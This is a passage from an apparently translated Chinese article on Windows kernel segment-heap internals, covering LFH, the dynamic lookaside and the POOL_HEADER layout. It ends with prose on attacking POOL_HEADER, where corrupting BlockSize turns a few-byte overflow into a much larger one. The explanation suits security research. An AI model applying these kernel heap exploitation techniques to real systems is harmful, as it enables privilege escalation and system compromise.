data-fileid="100000611" data-ratio="0.3333333333333333" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="609" src="https://wechat2rss.xlab.app/img-proxy/?k=3bc070e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7Bia9Oeib6eG4ohT4Qz6OXzcdUicj5jjicCZA4TtPG6RtdjYk9G9UpXcd0XYhe6BPjIW7DWicWK5hbAiaA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;text-align: center;">																									<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">图6</code></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">每个bucket由段分配器分配的子段组成。段分配器通过使用_HEAP_LFH_CONTEXT结构体的_HEAP_SUBALLOCATOR_CALLBACKS字段来使用。子分配器回调函数与LFH上下文和RtlpHpHeapGlobals的地址进行异或。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">callbacks.Allocate = RtlpHpSegLfhAllocate ;<br/>callbacks.Free = RtlpHpSegLfhVsFree ;<br/>callbacks.Commit = RtlpHpSegLfhVsCommit ;<br/>callbacks.Decommit = RtlpHpSegLfhVsDecommit ;<br/>callbacks.ExtendContext = RtlpHpSegLfhExtendContext ;<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">LFH子段以_HEAP_LFH_SUBSEGMENT结构体为首</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">0: kd &gt; dt nt! _HEAP_LFH_SUBSEGMENT<br/>+0 x000 ListEntry : _LIST_ENTRY<br/>+0 x010 Owner : Ptr64 _HEAP_LFH_SUBSEGMENT_OWNER<br/>+0 x010 DelayFree : _HEAP_LFH_SUBSEGMENT_DELAY_FREE<br/>+0 x018 CommitLock : Uint8B<br/>+0 x020 FreeCount : Uint2B<br/>+0 x022 BlockCount : Uint2B<br/>+0 x020 InterlockedShort : Int2B<br/>+0 x020 InterlockedLong : Int4B<br/>+0 x024 FreeHint : Uint2B<br/>+0 x026 Location : UChar<br/>+0 x027 WitheldBlockCount : UChar<br/>+0 x028 BlockOffsets : _HEAP_LFH_SUBSEGMENT_ENCODED_OFFSETS<br/>+0 x02c CommitUnitShift : UChar<br/>+0 x02d CommitUnitCount : UChar<br/>+0 x02e CommitStateOffset : Uint2B<br/>+0 x030 BlockBitmap : [1] Uint8B<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">然后将每个子段分割成相应的bucket大小的不同的LFH块。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">为了知道哪个bucket被使用，在每个子段的header中维护了一个bitmap。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-fileid="100000613" data-ratio="0.6731707317073171" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="820" src="https://wechat2rss.xlab.app/img-proxy/?k=c9e8e589&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7Bia9Oeib6eG4ohT4Qz6OXzclNL8mfnDZDE2Y3DrCTM3sLkGWD4c52Omb5wyibKFGED6XUZpaOqEibAw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;text-align: center;">																									<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">图7. 低碎片化堆后端内部结构</code></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">当请求一个分配的时候，LFH分配器将首先在_HEAP_LFH_SUBSEGMENT结构中寻找Freelist子段，目的是为了找到子段中最后释放的块的偏移。接着将扫描BlockBitmap，在32个块里找一个空闲块。由于RtlpLowFragHeapRandomData表，导致这个扫描是随机的。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">根据给定的bucket的竞争状况，可以启用一种机制使得每个CPU有一个专属子段用于实现简易分配，这种机制称为Affinity Slot（亲和槽）。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">图7展示了LFH后端的主要架构。</p><h6 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;"><span style="display: none;"></span>动态快表（Dynamic Lookaside）<span style="display: none;"></span></h6><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">大小为0x200到0xF80字节的释放块可以被临时存储在快表中以提供快速分配。当这些块处于快表中时，这些块不会走后端释放机制。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">快表由_RTL_DYNAMIC_LOOKASIDE结构体来表示，并存储在_SEGMENT_HEAP结构体的UserContext域中。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">0: kd &gt; dt nt! _RTL_DYNAMIC_LOOKASIDE<br/>+0 x000 EnabledBucketBitmap : Uint8B<br/>+0 x008 BucketCount : Uint4B<br/>+0 x00c ActiveBucketCount : Uint4B<br/>+0 x040 Buckets : [64] _RTL_LOOKASIDE<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">每个释放的块都存储在与其大小相对应的_RTL_LOOKASIDE中，大小对应着LFH中Bucket一样的模式</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">0: kd &gt; dt nt!_RTL_LOOKASIDE<br/>+0 x000 ListHead : _SLIST_HEADER<br/>+0 x010 Depth : Uint2B<br/>+0 x012 MaximumDepth : Uint2B<br/>+0 x014 TotalAllocates : Uint4B<br/>+0 x018 AllocateMisses : Uint4B<br/>+0 x01c TotalFrees : Uint4B<br/>+0 x020 FreeMisses : Uint4B<br/>+0 x024 LastTotalAllocates : Uint4B<br/>+0 x028 LastAllocateMisses : Uint4B<br/>+0 x02c LastTotalFrees : Uint4B<br/></code></pre><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-fileid="100000610" data-ratio="0.24773960216998192" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="553" src="https://wechat2rss.xlab.app/img-proxy/?k=b1b90a17&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7Bia9Oeib6eG4ohT4Qz6OXzcc8OODNYyW573opoU4IJBeBkNOI0TCWA2e9hVKibCURbHln8LQicJSEbA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;text-align: center;">																									<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">图8</code></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">在同一时间，仅可启用一个可用buckets子集。每次请求分配时，相应的快表指标都会更新。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">每扫描三次Balance Set Mangager，动态快表就会重新平衡。启动了自上次重新平衡以来使用最多的。每个快表的大小取决于它的用途，但最大不能超过MaximumDepth，最小不能小于4。当新分配的数量小于25时，深度将减小10。另外，当未命中率小于0.5时，深度将减小到1，否则将按照下列公式来增长。</p><span style="cursor:pointer;" data-tool="mdnice编辑器"><section role="presentation" data-formula="Depth = M issRatio(M aximumDepth − Depth)
2 + 5
" data-formula-type="block-equation" style="text-align: center;overflow: auto;"><embed style="vertical-align: -0.566ex;width: 52.933ex;height: auto;max-width: 300% !important;" data-fileid="100000603" src="https://mmbiz.qlogo.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TsFx2icX57GibValh5lEoTzibuVITny92hJ3Ymm1OeGYNAseHLkXbTDGgBwCVIuvcicnO/0?wx_fmt=svg" data-type="svg+xml"/></section></span><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;"><span style="display: none;"></span>2.2 POOL_HEADER<span style="display: none;"></span></h5><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">如1.1节所述，Windows 10 19H1之前的内核层堆分配器分配的所有块都以POOL_HEADER为头部。在当时，POOL_HEADER中所有的字段都被使用了。随着内核层堆分配器的更新，POOL HEADER的大部分字段都变的无用了，但仍然有少量分配的内存以POOL_HEADER为首。</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">//POOL_HEADER定义<br/>struct POOL_HEADER<br/>{<br/>char PreviousSize;<br/>char PoolIndex;<br/>char BlockSize;<br/>char PoolType;<br/>int PoolTag;<br/>Ptr64 ProcessBilled ;<br/>};<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">分配器设置的唯一字段如下</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">PoolHeader -&gt;PoolTag = PoolTag;<br/>PoolHeader -&gt;BlockSize = BucketBlockSize &gt;&gt; 4;<br/>PoolHeader -&gt;PreviousSize = 0;<br/>PoolHeader -&gt;PoolType = changedPoolType &amp; 0x6D | 2;<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">下面是总结的自windows 19H1以来POOL_HEADER结构体的每个字段用途</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;">PreviousSize：未使用的，并保持为0<br/>PoolIndex：未使用的<br/>BlockSize：块的大小，仅用于最终将块存储在动态快表中<br/>PoolType：用法没有改变，依旧是请求的池的类型<br/>PoolTag：用法没有改变，依旧是池标签<br/>ProcessBilled：用法没有改变，保持对请求分配内存的进程进行追踪，如果池类型为PoolQuota,那么ProcessBilled的计算方法如下<br/>ProcessBilled = chunk_addr ^ ExpPoolQuotaCookie ^ KPROCESS<br/></code></pre><h6 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;"><span style="display: none;"></span>缓存对齐<span style="display: none;"></span></h6><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">当调用ExAllocatPoolWithTag时，如果PoolType有CacheAligned位被设置，函数执行后返回的内存是与Cache对齐的。Cache线的大小取决于CPU，但通常来说都是0x40。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">首先分配器会增加ExpCacheLineSize的大小</p><pre data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;"><span style="display: block;background: url(&#34;https://mmbiz.qpic.cn/mmbiz_svg/jJSbu4Te5ibib1CYV7yZMWm7D8lticUb98TibPPJGsicicRIbqNzLpPVPsvK3icicD4oYeNYwC1bOicuPvm15nHrmoVCsee9CNt1a5Bun/640?wx_fmt=svg&#34;) 10px 10px / 40px no-repeat rgb(40, 44, 52);height: 30px;width: 100%;margin-bottom: -7px;border-radius: 5px;"></span><code style="overflow-x: auto;padding: 16px;color: #abb2bf;display: -webkit-box;font-family: Operator Mono, Consolas, Monaco, Menlo, monospace;font-size: 12px;-webkit-overflow-scrolling: touch;padding-top: 15px;background: #282c34;border-radius: 5px;"><span style="color: #c678dd;line-height: 26px;">if</span> ( PoolType &amp; 4 )<br/>{<br/>request_alloc_size += ExpCacheLineSize ;<br/><span style="color: #c678dd;line-height: 26px;">if</span> ( request_alloc_size &gt; 0xFE0 )<br/>{<br/>request_alloc_size -= ExpCacheLineSize ;<br/>PoolType = PoolType &amp; 0xFB;<br/>}<br/>}<br/></code></pre><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">如果新的分配大小不能容纳在单个页面中，那么CacheAligned位将会被忽略。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">并且，分配的块必须遵守下面的三个条件：</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-2"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">最终分配的地址必须与ExpCacheLineSize对齐</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">在块的最开始处，必须有一个POOL_HEADER头</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">块在分配的地址减去POOL_HEADER的大小的地址处必须有一个POOL_HEADER。</section></li></ul><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">因此，如果分配的地址没有正确的对齐，那么块可能会有两个headers。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-fileid="100000612" data-ratio="0.603125" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=d0a28bd5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7Bia9Oeib6eG4ohT4Qz6OXzcvg7XYSeFvtQV4mrYtZ0XQ1DVswVCN1Peh9LvRTSozRWApFPOPs5TiaA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;text-align: center;">																									<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">图9. 缓存对齐的内存布局</code></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">像往常一样，第一个POOL_HEADER将在块的起始处，第二个将在ExpCacheLineSize-Sizeof(POOL_HEADER)上对齐，使最终的分配地址与ExpCacheLineSize对齐。CacheAligned将从第一个POOL_HEADER中移除，且第二个POOL_HEADER将使用以下值来填充：</p><ul data-tool="mdnice编辑器" style="margin-top: 8px;margin-bottom: 8px;padding-left: 25px;" class="list-paddingleft-2"><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">PreviousSize：用来保存两个headers之间的偏移</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">PoolIndex：未使用</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">BlockSize：在第一个POOL_HEADER中申请的bucket的大小。</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">PoolType：和之前一样，但是CacheAligned位必须设置</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">PoolTag：像往常一样，两个POOL_HEADER是相同的</section></li><li><section style="margin-top: 5px;margin-bottom: 5px;line-height: 26px;color: rgb(1, 1, 1);">ProcessBilled：未使用</section></li></ul><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">此外，如果对齐填充中有足够的空间，则我们命名为AlignedPoolHeader的指针可能会存储在第一个POOL_HEADER之后。它指向第二个POOL_HEADER，并与ExpPoolQuotaCookie异或。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">图9总结了缓存对齐情况下两个POOL_HEADER的布局。</p><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;"><span style="display: none;"></span>2.3 总结<span style="display: none;"></span></h5><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">自Windows 19H1和引入段堆以来，一些存储在每个块的POOL_HEADER中的信息不要需要了。但是，其他的一些，例如PoolType，PoolTag，或是使用CacheAligned和PoolQuota机制的能力依旧需要。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">这就是为什么分配的小于0xFE0块至少都还有一个POOL_HEADER头。自Windwos 19H1以来，POOL_HEADER结构体的字段的用法在2.2节中介绍过了。图10表示了使用LFH后端分配的一个块，因此前面只有一个POOL_HEADER头。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-fileid="100000609" data-ratio="0.21764032073310424" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="873" src="https://wechat2rss.xlab.app/img-proxy/?k=cd35be18&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7Bia9Oeib6eG4ohT4Qz6OXzcbuxDYmB3mR2dJcswmdFWFUOKmcOl0mXnBibjaibZb4qfCcIia197JWDcA%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;text-align: center;">																									<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">图10. 返回的LHF块</code></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">正如2.1节中解释的那样，不同的后端，申请的内存块可能以不同的header开头。例如，一个使用VS后端分配的大小0x280的块，因此将以大小为0x10的_HEAP_VS_CHUNK_HEADER开头。图11代表了一个使用VS段分配的块，因此是以VS HEADER和POOL_HEADER开头。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-fileid="100000616" data-ratio="0.21215733015494637" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="839" src="https://wechat2rss.xlab.app/img-proxy/?k=ceb3c433&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7Bia9Oeib6eG4ohT4Qz6OXzcsJbf6PxBicrzTiczpvGkvEekhFcB5yaQhbNWcHnUEBC4ko04pkmz0QOg%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;text-align: center;">																									<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">图11. 返回的VS块</code></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">最后，如果请求的分配要以Cache Line对齐，那么块可能包含两个POOL_HEADER头。第二个POOL_HEADER的CacheAligned位将会被设置，并用于检索第一个块和实际分配的地址。图12代表了一个使用LFH申请并需要与Cacha Size对齐的块，因此开头的是两个POOL_HEADER。</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-fileid="100000617" data-ratio="0.21945432977461446" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="843" src="https://wechat2rss.xlab.app/img-proxy/?k=8d3a6b41&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7Bia9Oeib6eG4ohT4Qz6OXzcuFAEsg5PyPk2e5fjKibfS5fCiaHr6gtwOiatUHPVgxwHz6v7NbsvQtlFQ%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;text-align: center;">																									<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">图12. 返回的以缓存大小对齐的LFH块</code></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">图13总结了分配时的决策树</p><figure data-tool="mdnice编辑器" style="margin-top: 10px;margin-bottom: 10px;display: flex;flex-direction: column;justify-content: center;align-items: center;"><img data-fileid="100000618" data-ratio="0.7862950058072009" style="display: block;margin-right: auto;margin-left: auto;" data-type="png" data-w="861" src="https://wechat2rss.xlab.app/img-proxy/?k=6cf21322&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F3pMKYkVJQD7Bia9Oeib6eG4ohT4Qz6OXzc71Rq9cyIoMC8KR8AeLX29rb6ZGYklYXCLn0xWB241dRPT1ppn5Wqbw%2F640%3Fwx_fmt%3Dpng"/></figure><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;text-align: center;">																									<code style="font-size: 14px;overflow-wrap: break-word;padding: 2px 4px;border-radius: 4px;margin-right: 2px;margin-left: 2px;color: rgb(30, 107, 184);background-color: rgba(27, 31, 35, 0.05);font-family: &#34;Operator Mono&#34;, Consolas, Monaco, Menlo, monospace;word-break: break-all;">图13. 段堆分配器的决策流</code></p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">从漏洞利用的角度，可以得出两个结论。第一，POOL_HEADER的新用法使利用变得容易：由于大多数字段没有使用，因此覆盖的时候不用非常小心。第二，就是利用POOL_HEADER的新用法来寻找新的利用技术。</p><h4 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;font-size: 18px;"><span style="display: none;"></span>3 攻击POOL_HEADER<span style="display: none;"></span></h4><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">如果堆溢出漏洞允许很好的控制写入的数据和大小，那么最简单的解决方法可能是重写POOL_HEADER并且直接攻击下一个块的数据。唯一要做的事情就是控制PoolType中的PoolQuota位没有被设置，以避免在释放破坏的区块时对ProcessBilled字段进行完整性检查。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">但是，本节将提供一些针对POOL_HEADER的攻击，且这些攻击仅仅只需堆溢出几个字节。</p><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;"><span style="display: none;"></span>3.1 BlockSize作为目标<span style="display: none;"></span></h5><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">从堆溢出到更大的堆溢出</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">正如2.1节中解释的，在释放机制中，BlockSize字段被用于存储一些块到动态快表中。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">攻击者可以通过堆溢出来改变BlockSize字段的值使其变的更大，大于0x200。如果破坏的块已经被释放，被控制的BlockSize将被用于存储一些错误大小的块在快表中。再次申请这个大小的块时可能会使用一个非常小的分配的内存来存储所需的数据，从而触发另一个堆溢出。</p><p data-tool="mdnice编辑器" style="padding-top: 8px;padding-bottom: 8px;line-height: 26px;">通过使用堆喷技术和一些指定的对象，攻击者可能将一个3个字节的堆溢出实现变成高达0xFD0字节字节的堆溢出，这取决于漏洞块的大小。同样，攻击者还可以选择用来溢出的对象，并且可能对溢出条件有更多的控制。</p><h5 data-tool="mdnice编辑器" style="margin-top: 30px;margin-bottom: 15px;font-weight: bold;"><span style="display: 